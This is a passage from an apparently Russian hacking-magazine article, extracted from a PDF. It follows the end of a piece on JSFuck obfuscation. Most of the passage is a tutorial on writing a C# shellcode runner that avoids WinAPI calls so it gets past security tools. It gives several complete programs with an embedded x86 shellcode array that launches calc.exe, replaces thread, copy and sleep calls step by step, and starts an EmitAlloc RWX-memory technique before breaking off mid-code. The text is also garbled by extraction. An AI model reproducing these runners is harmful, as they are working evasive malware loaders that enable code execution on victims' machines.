емности. Я сам не про верял, но Вики утвер жда ет, что для кодиро вания
некото рых сим волов тре бует ся боль ше тысячи зна ков, то есть этот код даже
силь но объ емнее, чем если прос то побито во закоди ровать каж дый сим вол.
При том, как это ни парадок саль но, упо мяну тый факт не вле чет за собой
тысячек ратно го замед ления работы кода, ведь его сбор ка — это пред- 
варитель ная разовая опе рация, пос ле чего код исполня ется с обыч ной ско- 
ростью.

Из это го, кста ти, вытека ет и еще один, гораз до более сущес твен ный
минус это го спо соба обфуска ции. Ведь, нес мотря на весь объ ем и отпу гива- 
ющую запутан ность кода, перед исполне нием он собира ется в исходный вид,
и на дан ном эта пе его лег ко отсле дить. Нап ример, рекомен дуемые в 

  для дос таточ но лег ко обма нуть, вста вив
в выраже ние слу чай ный терм, не вхо дящий в под мно жес тво JSFuck.

хаб ров- 
ской статье ре сур сы об фуска ции 

Од нако встро енный интер пре татор JS не обма нешь: как ни кру ти, на выходе
код будет в явном виде.

Ко неч но, это не озна чает, что обсужда емый нами тип обфуска ции абсо лют но
бес полезен для прак тичес кого при мене ния. Если отбро сить фанатизм
и вмес то того, что бы переко диро вать весь код в JSFuck, попут но раз дувая
его в тысячу раз, тех нично переме шать рабочий (или обфусци рован ный
по-дру гому) код кодиро ван ными выраже ниями, то мож но силь но оза дачить
потен циаль ного ревер сера, которо му при дет ся вытас кивать и декоди ровать
каж дое обфусци рован ное выраже ние вруч ную, в то вре мя как закоди ровать
прог рамму мож но и на авто мате.

Еще одно «дос тоинс тво» (впро чем, вре мен ное), которое исполь зовали
в свое вре мя хакеры в упо мяну той выше ата ке на eBay, — отсутс твие алфа- 
вит но-циф ровых сим волов, что некото рое вре мя поз воляло вре донос ному
JSFuck-коду про ходить филь тры кон тента.

Го раз до более серь езная проб лема это го алго рит ма — его при вяз ка
к реали зации кон крет ного бра узер ного движ ка. Если ты вни матель но сле дил
за опи сан ной выше логикой получе ния отдель ных сим волов, то мог заметить,
что, опи раясь исклю читель но на стан дарт язы ка, мож но получить не более
пары десят ков сим волов, а даль ше при ходит ся экс плу ати ровать недоку мен- 
тирован ные осо бен ности кон крет но взя тых бра узе ров. Ну, нап ример, взя тый
прак тичес ки наугад сим вол q в сов ремен ных реали заци ях бра узе ров уже
нель зя получить опи сан ным в  спо собом:ма нуале

("")["fontcolor"]([0]+false+")[20]

Все потому, что  — это 
 и никако го сим вола  тут и близ ко нет, то есть этот

сим вол надо реали зовы вать опи сан ным мною выше спо собом через метод
.

("")["fontcolor"]([0]+false+") <font 
color="0false">font> q

toString
Го раз до хуже дело обсто ит с неб раузер ными реали заци ями JavaScript.

Нап ример, в опи сан ной мной ранее адо бов ской реали зации ESTK алго ритм
JSFuck поп росту невоз можен в прин ципе, в этом лег ко убе дить ся самос- 
тоятель но.

Как видишь, сим волы круг лых ско бок не кодиру ются клас сичес ким спо собом,
а все потому, что в этой реали зации почему-то сок ратили стан дар тный метод

 у объ екта типа . Но даже это не самое пло хое — жиз ненно важ ные

для реали зации алго рит ма сим волы  и  в адо бов ской вер сии JS стан дар- 

тным спо собом получить нель зя, пос коль ку пре обра зова ние фун кции в стро ку
тут работа ет ина че.

flat Array
c o

Тем не менее вык рутить ся мож но и здесь: если добавить к минималь ному
набору сим волов  два сим вола фигур ных ско бок , то получим объ ект

типа , который при перево де в стро ку выг лядит как 

и дает нам иско мые сим волы  и . Дан ный алго ритм называ ется Hieroglyphy,
и под робно изу чить его реали зацию мож но в 

. Как видишь, поле деятель нос ти для рас ширения фун кци ональ нос ти
и раз работ ки сво их собс твен ных реали заций JSFuck путем добав ления
или замены базово го набора сим волов весь ма обширно. В завер шение даже
под ска жу одну идей ку: добав ление сим вола  в адо бов ской реали зации дает

объ ект типа Helper с набором сво их методов и свой ств.

[]()!+ {}
Object [object Object]

c o
со ответс тву ющей докумен- 

тации

$

В бра узер ной же реали зации этот объ ект хоть и выг лядит по-дру гому, но тоже
весь ма инте ресен.

Та ким обра зом, каж дый может самос тоятель но реали зовать свой собс твен- 
ный уни каль ный обфуска тор, добавив все го один сим вол к базово му набору.
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https://lelinhtinh.github.io/de4js/
https://github.com/aemkei/jsfuck/blob/main/jsfuck.js
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КОДИНГ

За час тую ата кующие исполь зуют стан дар- 
тные фун кции WinAPI для исполне ния
шелл-кода. Все эти методы дав ным-дав но
извес тны любому защит ному средс тву.
В статье мы отой дем от про торен ного пути
и будем исполь зовать иную парадиг му —
пол ный отказ от исполь зования WinAPI.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Что пред став ляет собой стан дар тный шелл-код-ран нер? В прин ципе, ничего
осо бен ного в нем нет. Алго ритм прост как валенок:
1. Сге нери ровать, написать или где-то поза имс тво вать нуж ный шелл-код.

Для это го час то исполь зуют готовые фрей мвор ки вро де Metasploit.
2. Вы делить память под шелл-код. Здесь чаще все го обра щают ся к фун кции

 или низ коуров невым ана логам, нап ример
.

VirtualAlloc()

NtAllocateVirtualMemory()

3. Ес ли на пун кте 2 память была выделе на без бита executable, то пос тавить
этот бит на память. Тут дер гают 
или .

VirtualProtect()

NtProtectVirtualMemory()

4. Ско пиро вать шелл-код в память. В слу чае С++ прог раммы обра щают ся
к , а в слу чае C# мож но рас смот реть .memcpy() Marshal.Copy()

5. Пе редать поток управле ния по адре су шелл-кода. Реали зует ся, нап ример,
через соз дание нового потока внут ри .CreateThread()

6. Ус пех!

Та ким обра зом, стан дар тный шелл-код-ран нер выг лядит вот так.

 using System;
 using System.Runtime.InteropServices;

 namespace ConsoleApp1
{
  class Program
 {
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling =
true)]
          static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint
     flAllocationType, uint flProtect);
   [DllImport("kernel32.dll")]
         static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint
dwStackSize,
         

 
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,

IntPtr lpThreadId);
   [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
   dwMilliseconds);
      static void Main(string[] args)
   {

          byte[] x86shc = new byte[193] {
     0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,
0x8b,0x50,0x30,
     0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,
0x26,0x31,0xff,
     0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,
0xe2,0xf2,0x52,
     0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,
0x48,0x01,0xd1,
     0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,
0x8b,0x34,0x8b,
     0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,
0x75,0xf6,0x03,
     0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,
0xd3,0x66,0x8b,
     0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,
0x89,0x44,0x24,
     0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,
0x8b,0x12,0xeb,
     0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,
0x31,0x8b,0x6f,
     0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,
     0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,

 
     0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,
0x00 };

        int size = x86shc.Length;
           IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

        Marshal.Copy(x86shc, 0, addr, size);
      

 
     IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero
, 0,
     IntPtr.Zero);

      WaitForSingleObject(hThread, 0xFFFFFFFF);
   }
 }
}

Об рати вни мание, что в кон це идет вызов . Он здесь

не прос то так. Наша прог рамма дела ет self-injection (внед рение шелл-кода
в адресное прос транс тво текуще го про цес са). Запуск шелл-кода про исхо дит
в фун кции . Если бы пос ле этой фун кции ничего не было, то

прог рамма при оста нови ла бы выпол нение и завер шилась. Как следс твие,
наш шелл-код перес танет выпол нять ся.

WaitForSingleObject()

CreateThread()

По это му вызов фун кции  пре дот вра щает преж- 

девре мен ное зак рытие прог раммы. Наша основная прог рамма будет пос- 
лушно ожи дать успешно го исполне ния шелл-кода.

WaitForSingleObject()

Итак, запус каем код и видим, что все ста биль но работа ет.

Ус пешное исполь зование стан дар тно го шелл-код-ран нера

Те перь давай поп робу ем изме нить прог рамму так, что бы изба вить ся от всех
фун кций WinAPI. В качес тве шелл-кода, как ты понял, исполь зуем стан дар- 
тный запуск каль кулято ра. Архи тек тура — х86.

ÑÈÍÕÐÎÍÈÇÀÖÈß ×ÅÐÅÇ SLEEP

Нач нем с самого прос того — выб росим фун кцию .

Ее пос ледним аргу мен том было зна чение , что рав носиль но кон- 
стан те  в C++.

WaitForSingleObject()
0xFFFFFFFF

INFINITE

Зна чение кон стан ты INIFINITE

По это му нам дос таточ но взять и заменить вызов этой фун кции стан дар тным
, ведь основная задача — пре дот вра тить вык лючение про цес са

с запущен ным шелл-кодом.
Sleep()

Пред лагаю в качес тве кан дидата рас смот реть фун кцию .Thread.Sleep()

     public static void Sleep (int millisecondsTimeout);

В качес тве  переда ем, , зна- 
чение .

millisecondsTimeout сог ласно докумен тации
Timeout.Infinite

 using System;
 using System.Runtime.InteropServices;
 using System.Threading;

 namespace ConsoleApp1
{
  class Program
 {
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling =
true)]
          static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint
     flAllocationType, uint flProtect);
   [DllImport("kernel32.dll")]
         static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint
dwStackSize,
         

 
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,

IntPtr lpThreadId);
      static void Main(string[] args)
   {

          byte[] x86shc = new byte[193] {
     0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,
0x8b,0x50,0x30,
     0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,
0x26,0x31,0xff,
     0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,
0xe2,0xf2,0x52,
     0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,
0x48,0x01,0xd1,
     0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,
0x8b,0x34,0x8b,
     0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,
0x75,0xf6,0x03,
     0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,
0xd3,0x66,0x8b,
     0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,
0x89,0x44,0x24,
     0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,
0x8b,0x12,0xeb,
     0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,
0x31,0x8b,0x6f,
     0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,
     0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,

 
     0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,
0x00 };

        var size = x86shc.Length;
           var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

        Marshal.Copy(x86shc, 0, addr, size);
       

 
     var hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0
, IntPtr.Zero);
     Thread.Sleep(Timeout.Infinite);
   }
 }
}

За пус каем, про веря ем, все работа ет!

Ус пешная замена фун кции

Идем даль ше — замена .CreateThread()

Продолжение статьи →

https://t.me/Michaelzhm
https://learn.microsoft.com/ru-ru/dotnet/api/system.threading.thread.sleep?view=net-8.0


ЗАМЕНА ДЛЯ WINAPI
ПИШЕМ ШЕЛЛ-КОД-РАННЕР

НА ЧИСТОМ.NET

КОДИНГ  НАЧАЛО СТАТЬИ←

ÏÎÒÎÊ ÁÅÇ CREATETHREAD()

Здесь уже слож нее. Поток прос то так не заменить. Впро чем, в C# есть
отдель ный ней мспейс , который даст нам поч ти все необ- 
ходимые методы для работы с мно гопо точ ностью.

System.Threading

Для выпол нения шелл-кода дос таточ но соз дать поток, а затем сде лать
точ ку вхо да в него иден тичной адре су шелл-кода. Таким обра зом внут ри
нового потока будет выпол нять ся наша полез ная наг рузка.

Для запус ка потока в C# нуж но ини циали зиро вать экзем пляр клас са
. Этот класс тоже пре дос тавля ет некото рые методы для работы

с потока ми:
Thread

ста тичес кий метод  воз вра щает ссыл ку на домен при ложе- 
ния;

• GetDomain()

ста тичес кий метод  воз вра щает иден тифика тор домена
при ложе ния, в котором выпол няет ся текущий поток;

• GetDomainID()

ста тичес кий метод  оста нав лива ет поток на опре делен ное
количес тво мил лисекунд;

• Sleep()

ме тод  бло киру ет выпол нение выз вавше го его потока до тех пор,
пока не завер шится поток, для которо го был выз ван этот метод;

• Join()

ме тод  запус кает поток.• Start()

В качес тве точ ки вхо да потока, так же как и в С++, тре бует ся ука зать опре- 
делен ную фун кцию. Сра зу засунуть сюда шелл-код не получит ся — в С# имя
фун кции не явля ется ее адре сом. Поэто му пот ребу ется соз дать допол нитель- 
ную фун кцию, которая будет при нимать адрес шелл-кода. А внут ри этой так
называ емой фун кции — точ ки вхо да потока запус тить шелл-код.

   var size = x86shc.Length;
      var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

   Marshal.Copy(x86shc, 0, addr, size);

      Thread thread = new Thread(() => {
    IntPtr functionPtr = addr;
 ExecuteShellcode(functionPtr);
});

thread.Start();
thread.Join();

За пус кать нуж но внут ри метода . Мы не исполь зуем

WinAPI, поэто му переда вать поток управле ния по про изволь ному адре су
будем встро енны ми средс тва ми C#. На помощь нам при дут делега ты.
Не пугай ся, это толь ко зву чит страш но. По сути, это прос то ука зате ли на фун- 
кцию. Они поз воля ют передать поток управле ния по любому адре су.

ExecuteShellcode()

Код метода будет сле дующим.

   static void ExecuteShellcode(IntPtr funcAddr)
{
    var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr
);
 func();
}

[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
   private delegate void FuncType();

Об рати вни мание: в кон це мы объ яви ли делегат. Фак тичес ки это пред став- 
ление нашего шелл-кода. Он не при нима ет никаких аргу мен тов и воз вра щает

.void
За тем нуж но соз дать новый делегат. У нас есть адрес, по которо му рас- 

положен шелл-код, поэто му исполь зуем метод
 для ини циали зации делега та из адре- 

са в памяти.
Marshal.GetDelegateForFunctionPointer()

Пос ле успешной ини циали зации делега та передать ему поток управле ния
про ще прос того: нуж но обра тить ся к делега ту как к фун кции: .func()

При чем парал лель но у нас получи лось изба вить ся и от фун кции .
Она была успешно замене на вызовом . Пол ный код

с доработ ками — ниже.

Sleep()
thread.Join()

 using System;
 using System.Runtime.InteropServices;
 using System.Threading;

 namespace ConsoleApp1
{
  class Program
 {
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling =
true)]
          

   
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,

uint flAllocationType, uint flProtect);

         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling =
true)]
    [return: MarshalAs(UnmanagedType.Bool)]
          

 
static extern bool VirtualFree(IntPtr lpAddress, uint dwSize,

uint dwFreeType);

      static void Main(string[] args)
   {

          byte[] x86shc = new byte[193] {
         

    
       0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,
0xc0, 0x64, 0x8b, 0x50, 0x30,

         
    

       0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f,
0xb7, 0x4a, 0x26, 0x31, 0xff,

         
    

       0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d,
0x01, 0xc7, 0xe2, 0xf2, 0x52,

         
    

       0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11,
0x78, 0xe3, 0x48, 0x01, 0xd1,

         
    

       0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b,

         
    

       0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0x38, 0xe0, 0x75, 0xf6, 0x03,

          
   

       0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58,
0x24, 0x01,0xd3, 0x66, 0x8b,

          
   

       0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b,
0x01,0xd0, 0x89, 0x44, 0x24,

          
   

       0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f,
0x5f, 0x5a,0x8b, 0x12, 0xeb,

         
    

       0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00,
0x50, 0x68, 0x31, 0x8b, 0x6f,

         
    

       0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,0x68, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5,

          
   

       0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72,0x6f, 0x6a,

          
  

       0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65,
0x78, 0x65, 0x00
     };

        var size = x86shc.Length;
           var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

        Marshal.Copy(x86shc, 0, addr, size);

           Thread thread = new Thread(() => {
          IntPtr functionPtr = addr;

       ExecuteShellcode(functionPtr);
     });

     thread.Start();
     thread.Join();
   }

      static void ExecuteShellcode(IntPtr funcAddr)
   {

        var func = Marshal.GetDelegateForFunctionPointer<FuncType>(
funcAddr);
     func();
   }

   [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
      private delegate void FuncType();
 }
}

Ус пешный запуск шелл-кода

Прек расно! Теперь пора избавлять ся от . Конеч но, это не

WinAPI, но я вошел во вкус и решил сде лать абсо лют но всю логику прог раммы
на аль тер натив ных фун кци ях.

Marshal.Copy()

ÊÎÏÈÐÓÅÌ ÏÀÌßÒÜ ÐÓ×ÊÀÌÈ

Ка кая логика работы фун кции ?Marshal.Copy()

         
  

public static void Copy (float[] source, int startIndex, IntPtr
destination, int length);

Здесь все прос то: идет копиро вание дан ных раз мером  из ,
начиная с индекса , по адре су .

length source
startIndex destination

Что меша ет нам написать это руч ками? Тем более С# под держи вает
механизм . Соз дадим метод , при нима ющий все те
же аргу мен ты, что и .

ука зате лей CustomCopy()
Marshal.Copy()

       
  

static void CustomCopy(byte[] source, int startIndex, IntPtr
destination, int length)
{
 unsafe
 {
      byte* destPtr = (byte*)destination.ToPointer();
           for (int i = startIndex; i < length; i++)
   {

       destPtr[i] = source[i];
   }
 }
}

Об рати вни мание: здесь исполь зует ся клю чевое сло во . Для успешной
ком пиляции про екта с таким клю чевым сло вом сле дует в опци ях сбор ки уста- 
новить галоч ку нап ротив пун кта «Раз решить небезо пас ный код».

unsafe

Не обхо димая опция

Ме тод  пре обра зует передан ный адрес ( )

в перемен ную , которая пос ле выпол нения метода нач нет ука зывать

на тип . Затем по это му адре су будут копиро вать ся зна чения из .
Фак тичес ки мы побай тово копиру ем дан ные из source в destination.

ToPointer() destination
destPtr

byte source

С изме нени ями код будет выг лядеть так.

 using System;
 using System.Runtime.InteropServices;
 using System.Threading;

 namespace ConsoleApp1
{
  class Program
 {
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling =
true)]
          

   
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,

uint flAllocationType, uint flProtect);

      static void Main(string[] args)
   {

          byte[] x86shc = new byte[193] {
         

    
       0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,
0xc0, 0x64, 0x8b, 0x50, 0x30,

         
    

       0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f,
0xb7, 0x4a, 0x26, 0x31, 0xff,

         
    

       0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d,
0x01, 0xc7, 0xe2, 0xf2, 0x52,

         
    

       0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11,
0x78, 0xe3, 0x48, 0x01, 0xd1,

         
    

       0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b,

         
    

       0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0x38, 0xe0, 0x75, 0xf6, 0x03,

          
   

       0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58,
0x24, 0x01,0xd3, 0x66, 0x8b,

          
   

       0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b,
0x01,0xd0, 0x89, 0x44, 0x24,

          
   

       0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f,
0x5f, 0x5a,0x8b, 0x12, 0xeb,

         
    

       0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00,
0x50, 0x68, 0x31, 0x8b, 0x6f,

         
    

       0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,0x68, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5,

          
   

       0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72,0x6f, 0x6a,

          
  

       0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65,
0x78, 0x65, 0x00
     };

        var size = x86shc.Length;
           var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

        CustomCopy(x86shc, 0, addr, size);

           Thread thread = new Thread(() => {
          IntPtr functionPtr = addr;

       ExecuteShellcode(functionPtr);
     });

     thread.Start();
     thread.Join();
   }

          
  

static void CustomCopy(byte[] source, int startIndex, IntPtr
destination, int length)
   {
     unsafe
     {

          byte* destPtr = (byte*)destination.ToPointer();
               for (int i = startIndex; i < length; i++)

       {
           destPtr[i] = source[i];

       }
     }
   }

      static void ExecuteShellcode(IntPtr funcAddr)
   {

        var func = Marshal.GetDelegateForFunctionPointer<FuncType>(
funcAddr);
     func();
   }

   [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
      private delegate void FuncType();
 }
}

Ус пешное выпол нение кода

Ос тает ся самое слож ное — выделять исполня емую память
без .VirtualAlloc()

ÂÛÄÅËßÅÌ ÈÑÏÎËÍßÅÌÓÞ ÏÀÌßÒÜ ÁÅÇ WINAPI

Äåëåãàòû
Ра нее мы рас смот рели спо соб с вызовом метода

, но зна ешь ли ты, что сущес тву ет
и обратный метод? Имя его — . Этот метод
поз воля ет получить адрес делега та в памяти. Догады ваешь ся, что делать
даль ше? Флоу прос той:

GetDelegateForFunctionPointer()
GetFunctionPointerForDelegate()

1. Соз даем новый делегат.
2. Де легат — фун кция. Фун кция — исполня емый код. Поэто му адрес делега- 

та — исполня емая память.
3. По луча ем адрес делега та.
4. Ко пиру ем по это му адре су шелл-код.
5. По луча ем новый делегат по адре су.
6. Пе реда ем поток управле ния.
7. Шелл-код исполня ется.

Это дос таточ но извес тный метод, и имя его — Double Delegate.

 using System;
 using System.Runtime.InteropServices;

 namespace DelegateTest
{
  class Program
 {
      public delegate void Callback();
       public static void Action() {}

     delegate void CallingDelegate();

     static void Main()
   {

          var shellcode = new byte[] {0xfc,0x48,0x81,0xe4...}

         Callback myAction = new Callback(Action);

        IntPtr pMyAction = Marshal.GetFunctionPointerForDelegate(
myAction);

        Marshal.Copy(shellcode, 0, pMyAction, shellcode.Length);

        CallingDelegate callingDelegate = Marshal.
GetDelegateForFunctionPointer<CallingDelegate>(pMyAction);

     callingDelegate();
   }
 }
}

Од нако есть еще один метод, который поз воля ет имен но выделять память,
а не заимс тво вать чужую.

EmitAlloc()
Этот метод исполь зует API  для выделе ния про- 
изволь ного объ ема памяти. Он работа ет путем мно гок ратно го вызова метода

, который переби рает передан ное количес тво бай тов,

а затем вычита ет по 18 байт из это го зна чения при каж дой ите рации цик ла.

System.Reflection.Emit

EmitWriteLine()

Это зна чит, что при каж дом вызове метода  выделя ется

по 18 байт. Пос ле чего про исхо дит вызов , который поз воля- 
ет под готовить память, что бы ее исполь зовала CLR-плат форма.

EmitWriteLine()
PrepareMethod()

Ме ханизм был  иссле дова телем Диланом Тра ном. Автор
любез но пре дос тавил  со всем необ ходимым кодом. Поэто му
переде лать нашу прог рамму под исполь зование  не сос тавит

тру да.

об наружен
GitHub gists

EmitAlloc()

 using System;
 using System.Reflection.Emit;
 using System.Reflection;
 using System.Runtime.CompilerServices;
 using System.Runtime.InteropServices;
 using System.Threading;

 namespace ConsoleApp1
{
  class Program
 {
      static void Main(string[] args)
   {

          byte[] x86shc = new byte[193] {
         

    
       0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,
0xc0, 0x64, 0x8b, 0x50, 0x30,

         
    

       0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f,
0xb7, 0x4a, 0x26, 0x31, 0xff,

         
    

       0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d,
0x01, 0xc7, 0xe2, 0xf2, 0x52,

         
    

       0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11,
0x78, 0xe3, 0x48, 0x01, 0xd1,

         
    

       0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b,

         
    

       0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0x38, 0xe0, 0x75, 0xf6, 0x03,

          
   

       0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58,
0x24, 0x01,0xd3, 0x66, 0x8b,

          
   

       0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b,
0x01,0xd0, 0x89, 0x44, 0x24,

          
   

       0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f,
0x5f, 0x5a,0x8b, 0x12, 0xeb,

         
    

       0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00,
0x50, 0x68, 0x31, 0x8b, 0x6f,

         
    

       0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,0x68, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5,

          
   

       0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72,0x6f, 0x6a,

          
  

       0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65,
0x78, 0x65, 0x00
     };

        var size = x86shc.Length;

        var addr = GenerateRWXMemory(size);

        CustomCopy(x86shc, 0, addr, size);

           Thread thread = new Thread(() => {
          IntPtr functionPtr = addr;

       ExecuteShellcode(functionPtr);
     });

     thread.Start();
     thread.Join();
   }

          
  

static void CustomCopy(byte[] source, int startIndex, IntPtr
destination, int length)
   {
     unsafe
     {

          byte* destPtr = (byte*)destination.ToPointer();
               for (int i = startIndex; i < length; i++)

       {
           destPtr[i] = source[i];

       }
     }
   }

       public static IntPtr GenerateRWXMemory(int ByteCount)
   {

         AssemblyName AssemblyName = new AssemblyName("Assembly");
   

 
     AssemblyBuilder AssemblyBuilder = AppDomain.CurrentDomain.
